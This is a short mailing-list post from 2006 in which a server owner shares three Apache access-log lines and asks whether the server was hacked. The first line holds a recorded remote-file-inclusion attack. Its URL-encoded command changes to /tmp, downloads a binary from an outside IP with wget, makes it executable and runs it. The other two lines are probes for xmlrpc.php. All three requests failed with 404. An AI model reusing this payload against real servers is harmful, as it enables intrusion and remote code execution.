[NTLUG:Discuss] weird apache log info.

[m m]

All:

Can any Apache expert explain these 3 line of log for me?
Has the server been hacked?
Thanks.

124.12.176.23 - - [05/Jun/2006:12:30:46 -0500] "GET 
/cvs/index2.php?_REQUEST[optio
n]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://72.18.
195.161/cmd.gif?&cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;
../lnikon;echo%20YYY;echo|  HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; 
MSIE
6.0; Windows NT 5.1;)"

124.12.176.23 - - [05/Jun/2006:12:30:50 -0500] "POST /xmlrpc.php HTTP/1.1" 
404 290
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

124.12.176.23 - - [05/Jun/2006:12:30:51 -0500] "POST /blog/xmlrpc.php 
HTTP/1.1" 40
4 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

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